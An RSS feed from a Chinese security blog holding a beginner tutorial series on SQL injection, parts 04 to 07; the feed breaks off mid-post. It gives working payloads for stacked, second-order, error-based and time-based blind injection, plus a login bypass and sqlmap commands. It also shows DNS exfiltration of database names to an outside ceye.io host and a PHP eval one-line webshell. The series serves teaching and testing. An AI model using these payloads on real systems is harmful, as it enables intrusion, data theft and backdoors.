<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>SQL注入 on 首页 | Widegram</title>
    <link>https://widegram.com/tags/sql%E6%B3%A8%E5%85%A5/</link>
    <description>Recent content in SQL注入 on 首页 | Widegram</description>
    <generator>Hugo -- gohugo.io</generator>
    <language>en</language>
    <lastBuildDate>Thu, 07 Oct 2021 21:47:26 +0000</lastBuildDate><atom:link href="https://widegram.com/tags/sql%E6%B3%A8%E5%85%A5/index.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>SQL注入基础入门——07、总结</title>
      <link>https://widegram.com/2021/10/sql%E6%B3%A8%E5%85%A5%E5%9F%BA%E7%A1%80%E5%85%A5%E9%97%A8-07-%E6%80%BB%E7%BB%93/</link>
      <pubDate>Thu, 07 Oct 2021 21:47:26 +0000</pubDate>
      
      <guid>https://widegram.com/2021/10/sql%E6%B3%A8%E5%85%A5%E5%9F%BA%E7%A1%80%E5%85%A5%E9%97%A8-07-%E6%80%BB%E7%BB%93/</guid>
      <description>漏洞利用 参数类型 - 符号闭合 数据库类型 - 选择不同的攻击语句和攻击思路 数据提交方式 - 数据注入的时候传输不一样，如POST、HOST等 数据SQL查询方式 - 1.无回显 2.测试点不同（增删改查等） 3.人工发现 数据加密编码方式 存在回显 - 盲注 高权限 - 换一种思路获得权限 漏洞危害 单个数据库泄漏 所有数据库泄漏 后台权限 web权限：文件操作、执行命令等 后续导致服务器权限丢失 漏洞特点 开发语言决定注入发生率 数据库类型决定注入利用过程 部分注入点的发现需要人工探针（增删改查等） 防护注入代码过滤、WAF等 </description>
      <content:encoded><![CDATA[<h4 id="漏洞利用">漏洞利用</h4>
<ol>
<li>参数类型 - 符号闭合</li>
<li>数据库类型 - 选择不同的攻击语句和攻击思路</li>
<li>数据提交方式 - 数据注入的时候传输不一样，如POST、HOST等</li>
<li>数据SQL查询方式 - 1.无回显 2.测试点不同（增删改查等） 3.人工发现</li>
<li>数据加密编码方式</li>
<li>存在回显 - 盲注</li>
<li>高权限 - 换一种思路获得权限</li>
</ol>
<h4 id="漏洞危害">漏洞危害</h4>
<ol>
<li>单个数据库泄漏</li>
<li>所有数据库泄漏</li>
<li>后台权限</li>
<li>web权限：文件操作、执行命令等</li>
<li>后续导致服务器权限丢失</li>
</ol>
<h4 id="漏洞特点">漏洞特点</h4>
<ol>
<li>开发语言决定注入发生率</li>
<li>数据库类型决定注入利用过程</li>
<li>部分注入点的发现需要人工探针（增删改查等）</li>
<li>防护注入代码过滤、WAF等</li>
</ol>
]]></content:encoded>
    </item>
    
    <item>
      <title>SQL注入基础入门——06、绕过注入过滤的几种方法（堆叠、二次、DNSLOG、高权限）</title>
      <link>https://widegram.com/2021/10/sql%E6%B3%A8%E5%85%A5%E5%9F%BA%E7%A1%80%E5%85%A5%E9%97%A8-06-%E5%A0%86%E5%8F%A0%E3%80%81%E4%BA%8C%E6%AC%A1%E3%80%81DNSLOG%E3%80%81%E9%AB%98%E6%9D%83%E9%99%90/</link>
      <pubDate>Thu, 07 Oct 2021 13:00:00 +0000</pubDate>
      
      <guid>https://widegram.com/2021/10/sql%E6%B3%A8%E5%85%A5%E5%9F%BA%E7%A1%80%E5%85%A5%E9%97%A8-06-%E5%A0%86%E5%8F%A0%E3%80%81%E4%BA%8C%E6%AC%A1%E3%80%81DNSLOG%E3%80%81%E9%AB%98%E6%9D%83%E9%99%90/</guid>
      <description>几种过滤 过滤关键词，如select、update、insert等 过滤空格 堆叠注入 数据库类型支持多条语句；
;show databases; ;show tables; ;show columns from ``; ## 由于select被过滤，因此可以将列名改为flag再输出 ## 或者，采用如下方法： &amp;#39;;SeT @a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql; 二次注入 先写入后组合的注入（如：注册——登录——修改）； 受到攻击的sql语句：
update user set passwd=&amp;#39;新密码&amp;#39; where username=&amp;#39;用户名&amp;#39; and passwd=&amp;#39;旧密码&amp;#39; 密码一般会被加密，不好入手，因此选择用户名攻击：
## 空格被过滤 x&amp;#34;^updatexml(1,concat(0x7e,(version())),0)# DNSLOG注入 解决不回显，相比盲注更快，但适用范围不广，因为要用到load_file()函数，需要root权限，并且secure_file_priv需要为空，且需要操作系统为Windows（\\为unc路径）。
ping test.dbuh8a.ceye.io ping %USERNAME%.dbuh8a.ceye.io select load_file(&amp;#39;\\\\xxxx.dbuh8a.ceye.io\\aa&amp;#39;)); select load_file(concat(&amp;#39;\\\\&amp;#39;,(select database()),&amp;#39;.dbuh8a.ceye.io\\aa&amp;#39;)); 高权限注入 数据库用户分为系统用户和普通用户。前者可看所有数据库，可进行文件读写；后者不行。 ⚠️所以，某些注入点可以读写文件。
# 判断是否高权限 python sqlmap.py -u &amp;#34;http://XXX?id=1&amp;#34; --is-dba 写入一句话后门
&amp;lt;?php eval($_POST[&amp;#39;x&amp;#39;]); ?&amp;gt; </description>
      <content:encoded><![CDATA[<h3 id="几种过滤">几种过滤</h3>
<ol>
<li>过滤关键词，如select、update、insert等</li>
<li>过滤空格</li>
<li></li>
</ol>
<h3 id="堆叠注入">堆叠注入</h3>
<p>数据库类型支持多条语句；</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span>;<span style="color:#66d9ef">show</span> databases;
</span></span><span style="display:flex;"><span>;<span style="color:#66d9ef">show</span> tables;
</span></span><span style="display:flex;"><span>;<span style="color:#66d9ef">show</span> columns <span style="color:#66d9ef">from</span> <span style="color:#f92672">``</span>;
</span></span><span style="display:flex;"><span><span style="color:#f92672">##</span> <span style="color:#960050;background-color:#1e0010">由于</span>select被过滤<span style="color:#960050;background-color:#1e0010">，因此可以将列名改为</span>flag再输出
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#f92672">##</span> <span style="color:#960050;background-color:#1e0010">或者，采用如下方法：</span>
</span></span><span style="display:flex;"><span><span style="color:#e6db74">&#39;;SeT @a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;
</span></span></span></code></pre></div><h3 id="二次注入">二次注入</h3>
<p>先写入后组合的注入（如：注册——登录——修改）；
受到攻击的sql语句：</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#66d9ef">update</span> <span style="color:#66d9ef">user</span> <span style="color:#66d9ef">set</span> passwd<span style="color:#f92672">=</span><span style="color:#e6db74">&#39;新密码&#39;</span> <span style="color:#66d9ef">where</span> username<span style="color:#f92672">=</span><span style="color:#e6db74">&#39;用户名&#39;</span> <span style="color:#66d9ef">and</span> passwd<span style="color:#f92672">=</span><span style="color:#e6db74">&#39;旧密码&#39;</span>
</span></span></code></pre></div><p>密码一般会被加密，不好入手，因此选择用户名攻击：</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#f92672">##</span> <span style="color:#960050;background-color:#1e0010">空格被过滤</span>
</span></span><span style="display:flex;"><span>x<span style="color:#e6db74">&#34;^updatexml(1,concat(0x7e,(version())),0)#
</span></span></span></code></pre></div><h3 id="dnslog注入">DNSLOG注入</h3>
<p>解决不回显，相比盲注更快，但适用范围不广，因为要用到<code>load_file()</code>函数，需要root权限，并且<code>secure_file_priv</code>需要为空，且需要操作系统为Windows（<code>\\</code>为unc路径）。</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span>ping test.dbuh8a.ceye.io
</span></span><span style="display:flex;"><span>ping <span style="color:#f92672">%</span>USERNAME<span style="color:#f92672">%</span>.dbuh8a.ceye.io
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">select</span> load_file(<span style="color:#e6db74">&#39;\\\\xxxx.dbuh8a.ceye.io\\aa&#39;</span>));
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">select</span> load_file(concat(<span style="color:#e6db74">&#39;\\\\&#39;</span>,(<span style="color:#66d9ef">select</span> <span style="color:#66d9ef">database</span>()),<span style="color:#e6db74">&#39;.dbuh8a.ceye.io\\aa&#39;</span>));
</span></span></code></pre></div><h3 id="高权限注入">高权限注入</h3>
<p>数据库用户分为系统用户和普通用户。前者可看所有数据库，可进行文件读写；后者不行。
⚠️所以，某些注入点可以读写文件。</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span><span style="color:#75715e"># 判断是否高权限</span>
</span></span><span style="display:flex;"><span>python sqlmap.py -u <span style="color:#e6db74">&#34;http://XXX?id=1&#34;</span> --is-dba
</span></span></code></pre></div><p>写入一句话后门</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span><span style="color:#f92672">&lt;?</span><span style="color:#a6e22e">php</span> <span style="color:#66d9ef">eval</span>($_POST[<span style="color:#e6db74">&#39;x&#39;</span>]); <span style="color:#75715e">?&gt;</span><span style="color:#960050;background-color:#1e0010">
</span></span></span></code></pre></div>]]></content:encoded>
    </item>
    
    <item>
      <title>SQL注入基础入门——05、盲注</title>
      <link>https://widegram.com/2021/10/sql%E6%B3%A8%E5%85%A5%E5%9F%BA%E7%A1%80%E5%85%A5%E9%97%A8-05%E7%9B%B2%E6%B3%A8/</link>
      <pubDate>Wed, 06 Oct 2021 21:00:42 +0000</pubDate>
      
      <guid>https://widegram.com/2021/10/sql%E6%B3%A8%E5%85%A5%E5%9F%BA%E7%A1%80%E5%85%A5%E9%97%A8-05%E7%9B%B2%E6%B3%A8/</guid>
      <description>order by select * from users order by $sth 盲注的三种类型 逻辑判断 regexp、like、ascii、left、ord、mid like &amp;#39;ro%&amp;#39; regexp &amp;#39;^user[a-z]&amp;#39; #截取字符串 mid(str,start_loc,length) substr(str,start_loc,length) left(str,length) #从左侧截取 #字符串长度 length() 延时判断 if、sleep select * from users where id=1 and if(1&amp;gt;2,2,0); select * from users where id=1 and sleep(5); select * from users where id=1 and if(1&amp;gt;2,sleep(5),sleep(10)); 报错回显 floor、updatexml、extractvalue 逻辑判断 例如：
?id=1&amp;#39; and length(database())=8--+ ?id=1&amp;#39; and left(database(),1)&amp;gt;&amp;#39;a&amp;#39;--+ 延时判断 and if(ascii(substr(database(),1,1))=115,sleep(5),1)--+ and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(3),0)--+ 报错注入 12种报错注入&amp;#43;万能语句</description>
      <content:encoded><![CDATA[<h3 id="order-by">order by</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#66d9ef">select</span> <span style="color:#f92672">*</span> <span style="color:#66d9ef">from</span> users <span style="color:#66d9ef">order</span> <span style="color:#66d9ef">by</span> <span style="color:#960050;background-color:#1e0010">$</span>sth
</span></span></code></pre></div><h3 id="盲注的三种类型">盲注的三种类型</h3>
<ol>
<li>逻辑判断
regexp、like、ascii、left、ord、mid
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#66d9ef">like</span> <span style="color:#e6db74">&#39;ro%&#39;</span>
</span></span><span style="display:flex;"><span>regexp <span style="color:#e6db74">&#39;^user[a-z]&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">#</span><span style="color:#960050;background-color:#1e0010">截取字符串</span>
</span></span><span style="display:flex;"><span>mid(str,start_loc,<span style="color:#66d9ef">length</span>)
</span></span><span style="display:flex;"><span>substr(str,start_loc,<span style="color:#66d9ef">length</span>)
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">left</span>(str,<span style="color:#66d9ef">length</span>) <span style="color:#f92672">#</span><span style="color:#960050;background-color:#1e0010">从左侧截取</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">#</span><span style="color:#960050;background-color:#1e0010">字符串长度</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">length</span>()
</span></span></code></pre></div></li>
<li>延时判断
if、sleep
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#66d9ef">select</span> <span style="color:#f92672">*</span> <span style="color:#66d9ef">from</span> users <span style="color:#66d9ef">where</span> id<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span> <span style="color:#66d9ef">and</span> <span style="color:#66d9ef">if</span>(<span style="color:#ae81ff">1</span><span style="color:#f92672">&gt;</span><span style="color:#ae81ff">2</span>,<span style="color:#ae81ff">2</span>,<span style="color:#ae81ff">0</span>);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">select</span> <span style="color:#f92672">*</span> <span style="color:#66d9ef">from</span> users <span style="color:#66d9ef">where</span> id<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span> <span style="color:#66d9ef">and</span> sleep(<span style="color:#ae81ff">5</span>);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">select</span> <span style="color:#f92672">*</span> <span style="color:#66d9ef">from</span> users <span style="color:#66d9ef">where</span> id<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span> <span style="color:#66d9ef">and</span> <span style="color:#66d9ef">if</span>(<span style="color:#ae81ff">1</span><span style="color:#f92672">&gt;</span><span style="color:#ae81ff">2</span>,sleep(<span style="color:#ae81ff">5</span>),sleep(<span style="color:#ae81ff">10</span>));
</span></span></code></pre></div></li>
<li>报错回显
floor、updatexml、extractvalue</li>
</ol>
<h3 id="逻辑判断">逻辑判断</h3>
<p>例如：</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-http" data-lang="http"><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">?id=1&#39; and length(database())=8--+
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">?id=1&#39; and left(database(),1)&gt;&#39;a&#39;--+
</span></span></span></code></pre></div><h3 id="延时判断">延时判断</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#66d9ef">and</span> <span style="color:#66d9ef">if</span>(ascii(substr(<span style="color:#66d9ef">database</span>(),<span style="color:#ae81ff">1</span>,<span style="color:#ae81ff">1</span>))<span style="color:#f92672">=</span><span style="color:#ae81ff">115</span>,sleep(<span style="color:#ae81ff">5</span>),<span style="color:#ae81ff">1</span>)<span style="color:#75715e">--+
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#66d9ef">and</span> <span style="color:#66d9ef">if</span>(ascii(substr((<span style="color:#66d9ef">select</span> <span style="color:#66d9ef">table_name</span> <span style="color:#66d9ef">from</span> information_schema.tables <span style="color:#66d9ef">where</span> table_schema<span style="color:#f92672">=</span><span style="color:#66d9ef">database</span>() <span style="color:#66d9ef">limit</span> <span style="color:#ae81ff">0</span>,<span style="color:#ae81ff">1</span>),<span style="color:#ae81ff">1</span>,<span style="color:#ae81ff">1</span>))<span style="color:#f92672">=</span><span style="color:#ae81ff">101</span>,sleep(<span style="color:#ae81ff">3</span>),<span style="color:#ae81ff">0</span>)<span style="color:#75715e">--+
</span></span></span></code></pre></div><h3 id="报错注入">报错注入</h3>
<p><a href="https://www.jianshu.com/p/bc35f8dd4f7c" target="_blank">12种报错注入&#43;万能语句</a></p>
<h5 id="更新注入">更新注入</h5>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#66d9ef">update</span> <span style="color:#66d9ef">user</span> <span style="color:#66d9ef">set</span> username<span style="color:#f92672">=</span><span style="color:#e6db74">&#39;$name&#39;</span> <span style="color:#66d9ef">where</span> id <span style="color:#f92672">=</span> <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">$</span>name <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;&#39; or(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) or &#39;&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">//</span> <span style="color:#960050;background-color:#1e0010">结果</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">update</span> <span style="color:#66d9ef">user</span> <span style="color:#66d9ef">set</span> username<span style="color:#f92672">=</span><span style="color:#e6db74">&#39;&#39;</span> <span style="color:#66d9ef">or</span>(<span style="color:#66d9ef">select</span> <span style="color:#ae81ff">1</span> <span style="color:#66d9ef">from</span>(<span style="color:#66d9ef">select</span> <span style="color:#66d9ef">count</span>(<span style="color:#f92672">*</span>),concat((<span style="color:#66d9ef">select</span> (<span style="color:#66d9ef">select</span> (<span style="color:#66d9ef">select</span> concat(<span style="color:#ae81ff">0</span>x7e,<span style="color:#66d9ef">database</span>(),<span style="color:#ae81ff">0</span>x7e))) <span style="color:#66d9ef">from</span> information_schema.tables <span style="color:#66d9ef">limit</span> <span style="color:#ae81ff">0</span>,<span style="color:#ae81ff">1</span>),floor(rand(<span style="color:#ae81ff">0</span>)<span style="color:#f92672">*</span><span style="color:#ae81ff">2</span>))x <span style="color:#66d9ef">from</span> information_schema.tables <span style="color:#66d9ef">group</span> <span style="color:#66d9ef">by</span> x)a) <span style="color:#66d9ef">or</span> <span style="color:#e6db74">&#39;&#39;</span> <span style="color:#66d9ef">where</span> id <span style="color:#f92672">=</span> <span style="color:#ae81ff">1</span>
</span></span></code></pre></div><p>出现结果<code>ERROR 1062(23000): Duplicate entry '1~security~' for key 'group_key'</code>，则得到库名为security；
若将<code>database()</code>改为<code>version()</code>，则提示<code>ERROR 1062(23000): Duplicate entry '1~5.5.53~' for key 'group_key'</code>。</p>
<ul>
<li>其他注入语句</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span>sex<span style="color:#f92672">=%</span>E7<span style="color:#f92672">%</span><span style="color:#ae81ff">94</span><span style="color:#f92672">%</span>B7<span style="color:#f92672">&amp;</span>phonenum<span style="color:#f92672">=</span><span style="color:#ae81ff">13878787788</span><span style="color:#f92672">&amp;</span><span style="color:#66d9ef">add</span><span style="color:#f92672">=</span>hubeNicky<span style="color:#e6db74">&#39; or (select 1 from(select count(*),concat( floor(rand(0)*2),0x7e,(database()),0x7e)x from information_schema.character_sets group by x)a) or &#39;</span><span style="color:#f92672">&amp;</span>email<span style="color:#f92672">=</span>wuhan<span style="color:#f92672">&amp;</span>submit<span style="color:#f92672">=</span>submit
</span></span><span style="display:flex;"><span>sex<span style="color:#f92672">=%</span>E7<span style="color:#f92672">%</span><span style="color:#ae81ff">94</span><span style="color:#f92672">%</span>B7<span style="color:#f92672">&amp;</span>phonenum<span style="color:#f92672">=</span><span style="color:#ae81ff">13878787788</span><span style="color:#f92672">&amp;</span><span style="color:#66d9ef">add</span><span style="color:#f92672">=</span>hubeNicky<span style="color:#e6db74">&#39; or  updatexml(1,concat(0x7e,(version())),0) or &#39;</span><span style="color:#f92672">&amp;</span>email<span style="color:#f92672">=</span>wuhan<span style="color:#f92672">&amp;</span>submit<span style="color:#f92672">=</span>submit
</span></span><span style="display:flex;"><span>sex<span style="color:#f92672">=%</span>E7<span style="color:#f92672">%</span><span style="color:#ae81ff">94</span><span style="color:#f92672">%</span>B7<span style="color:#f92672">&amp;</span>phonenum<span style="color:#f92672">=</span><span style="color:#ae81ff">13878787788</span><span style="color:#f92672">&amp;</span><span style="color:#66d9ef">add</span><span style="color:#f92672">=</span>Nicky<span style="color:#e6db74">&#39; or extractvalue(1,concat(0x7e,database())) or &#39;</span><span style="color:#f92672">&amp;</span>email<span style="color:#f92672">=</span>wuhan<span style="color:#f92672">&amp;</span>submit<span style="color:#f92672">=</span>submit
</span></span></code></pre></div><h5 id="插入注入">插入注入</h5>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span>username<span style="color:#f92672">=</span>x<span style="color:#e6db74">&#39; or(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) or &#39;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">&amp;</span>password<span style="color:#f92672">=</span>xiaodi<span style="color:#f92672">&amp;</span>sex<span style="color:#f92672">=%</span>E7<span style="color:#f92672">%</span><span style="color:#ae81ff">94</span><span style="color:#f92672">%</span>B7<span style="color:#f92672">&amp;</span>phonenum<span style="color:#f92672">=</span><span style="color:#ae81ff">13878787788</span><span style="color:#f92672">&amp;</span>email<span style="color:#f92672">=</span>wuhan<span style="color:#f92672">&amp;</span><span style="color:#66d9ef">add</span><span style="color:#f92672">=</span>hubei<span style="color:#f92672">&amp;</span>submit<span style="color:#f92672">=</span>submit
</span></span><span style="display:flex;"><span>username<span style="color:#f92672">=</span>x<span style="color:#e6db74">&#39; or updatexml(1,concat(0x7e,(version())),0) or &#39;</span><span style="color:#f92672">&amp;</span>password<span style="color:#f92672">=</span>xiaodi<span style="color:#f92672">&amp;</span>sex<span style="color:#f92672">=%</span>E7<span style="color:#f92672">%</span><span style="color:#ae81ff">94</span><span style="color:#f92672">%</span>B7<span style="color:#f92672">&amp;</span>phonenum<span style="color:#f92672">=</span><span style="color:#ae81ff">13878787788</span><span style="color:#f92672">&amp;</span>email<span style="color:#f92672">=</span>wuhan<span style="color:#f92672">&amp;</span><span style="color:#66d9ef">add</span><span style="color:#f92672">=</span>hubei<span style="color:#f92672">&amp;</span>submit<span style="color:#f92672">=</span>submit
</span></span><span style="display:flex;"><span>username<span style="color:#f92672">=</span>x<span style="color:#e6db74">&#39; or extractvalue(1,concat(0x7e,database())) or &#39;</span><span style="color:#f92672">&amp;</span>password<span style="color:#f92672">=</span>xiaodi<span style="color:#f92672">&amp;</span>sex<span style="color:#f92672">=%</span>E7<span style="color:#f92672">%</span><span style="color:#ae81ff">94</span><span style="color:#f92672">%</span>B7<span style="color:#f92672">&amp;</span>phonenum<span style="color:#f92672">=</span><span style="color:#ae81ff">13878787788</span><span style="color:#f92672">&amp;</span>email<span style="color:#f92672">=</span>wuhan<span style="color:#f92672">&amp;</span><span style="color:#66d9ef">add</span><span style="color:#f92672">=</span>hubei<span style="color:#f92672">&amp;</span>submit<span style="color:#f92672">=</span>submit
</span></span></code></pre></div><h5 id="删除注入">删除注入</h5>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#66d9ef">or</span><span style="color:#f92672">+</span>(<span style="color:#66d9ef">select</span><span style="color:#f92672">+</span><span style="color:#ae81ff">1</span><span style="color:#f92672">+</span><span style="color:#66d9ef">from</span>(<span style="color:#66d9ef">select</span><span style="color:#f92672">+</span><span style="color:#66d9ef">count</span>(<span style="color:#f92672">*</span>),concat(floor(rand(<span style="color:#ae81ff">0</span>)<span style="color:#f92672">*</span><span style="color:#ae81ff">2</span>),<span style="color:#ae81ff">0</span>x7e,(<span style="color:#66d9ef">database</span>()),<span style="color:#ae81ff">0</span>x7e)x<span style="color:#f92672">+</span><span style="color:#66d9ef">from</span><span style="color:#f92672">+</span>information_schema.character_sets<span style="color:#f92672">+</span><span style="color:#66d9ef">group</span><span style="color:#f92672">+</span><span style="color:#66d9ef">by</span><span style="color:#f92672">+</span>x)a)
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">or</span><span style="color:#f92672">+</span>updatexml<span style="color:#f92672">+</span>(<span style="color:#ae81ff">1</span>,concat(<span style="color:#ae81ff">0</span>x7e,<span style="color:#66d9ef">database</span>()),<span style="color:#ae81ff">0</span>)
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">or</span><span style="color:#f92672">+</span>extractvalue(<span style="color:#ae81ff">1</span>,concat(<span style="color:#ae81ff">0</span>x7e,<span style="color:#66d9ef">database</span>()))
</span></span></code></pre></div>]]></content:encoded>
    </item>
    
    <item>
      <title>SQL注入基础入门——04、POST/XFF/HOST/COOKIE/其他功能</title>
      <link>https://widegram.com/2021/10/sql%E6%B3%A8%E5%85%A5%E5%9F%BA%E7%A1%80%E5%85%A5%E9%97%A8-04-POST-XFF-HOST-COOKIE-etc/</link>
      <pubDate>Wed, 06 Oct 2021 19:41:42 +0000</pubDate>
      
      <guid>https://widegram.com/2021/10/sql%E6%B3%A8%E5%85%A5%E5%9F%BA%E7%A1%80%E5%85%A5%E9%97%A8-04-POST-XFF-HOST-COOKIE-etc/</guid>
      <description>Sqlmap其他注入 在使用SQLMap进行POST注入时，可以使用post.txt注入，而不是使用--data参数，因为使用txt方式注入使用的是真实的数据包，而--data使用的是SQLMap自带的请求头； 在注入点处用星号标记，例如host: XXX*； 使用python sqlmap.py -r host.txt开始注入 万能密码原理(post注入) 例如对于下列sql语句：
select * from admin where username=&amp;#39;$user&amp;#39; and password=&amp;#39;$pass&amp;#39; ; 使$user = &amp;ldquo;admin&amp;rsquo; or &amp;lsquo;1&amp;rsquo;=&amp;lsquo;1&amp;rdquo;，得到
select * from admin where username=&amp;#39;admin&amp;#39; or &amp;#39;1&amp;#39;=&amp;#39;1&amp;#39; and password=&amp;#39;$pass&amp;#39; ; host注入 在HTTP头中，把order by 4（payload）作为host项传递。
XFF注入 例如，某些网站会验证用户的IP地址来判断是否放行；在日志记录时会在数据库中记录HTTP头信息，因此可能存在注入点。如PHP正确获取客户端IP地址。
以下三个参数可能存在注入点：
HTTP_CLIENT_IP：存在于http请求的header HTTP_X_FORWARDED_FOR：请求转发路径，客户端IP，代理1IP，代理2IP&amp;hellip;&amp;hellip; HTTP_X_REAL_IP：这个用得比较少，暂不讨论。 这三个值都是从HTTP请求头获取的，所以并不可靠！
根据功能区分注入类型 例如，搜索sql如下：
select * from zzz_user where name like &amp;#39;%$name%&amp;#39; 字符串相关的sql判断语句会包含引号等等。
⚠️注意数字、字母、JSON类型字符串。</description>
      <content:encoded><![CDATA[<h2 id="sqlmap其他注入">Sqlmap其他注入</h2>
<ol>
<li>在使用SQLMap进行POST注入时，可以使用post.txt注入，而不是使用<code>--data</code>参数，因为使用txt方式注入使用的是真实的数据包，而<code>--data</code>使用的是SQLMap自带的请求头；</li>
<li>在注入点处用星号标记，例如<code>host: XXX*</code>；</li>
<li>使用<code>python sqlmap.py -r host.txt</code>开始注入</li>
</ol>
<h3 id="万能密码原理post注入">万能密码原理(post注入)</h3>
<p>例如对于下列sql语句：</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#66d9ef">select</span> <span style="color:#f92672">*</span> <span style="color:#66d9ef">from</span> <span style="color:#66d9ef">admin</span> <span style="color:#66d9ef">where</span> username<span style="color:#f92672">=</span><span style="color:#e6db74">&#39;$user&#39;</span> <span style="color:#66d9ef">and</span> password<span style="color:#f92672">=</span><span style="color:#e6db74">&#39;$pass&#39;</span> ;
</span></span></code></pre></div><p>使$user = &ldquo;admin&rsquo; or &lsquo;1&rsquo;=&lsquo;1&rdquo;，得到</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#66d9ef">select</span> <span style="color:#f92672">*</span> <span style="color:#66d9ef">from</span> <span style="color:#66d9ef">admin</span> <span style="color:#66d9ef">where</span> username<span style="color:#f92672">=</span><span style="color:#e6db74">&#39;admin&#39;</span> <span style="color:#66d9ef">or</span> <span style="color:#e6db74">&#39;1&#39;</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#39;1&#39;</span> <span style="color:#66d9ef">and</span> password<span style="color:#f92672">=</span><span style="color:#e6db74">&#39;$pass&#39;</span> ;
</span></span></code></pre></div><h3 id="host注入">host注入</h3>
<p>在HTTP头中，把<code>order by 4</code>（payload）作为host项传递。</p>
<h3 id="xff注入">XFF注入</h3>
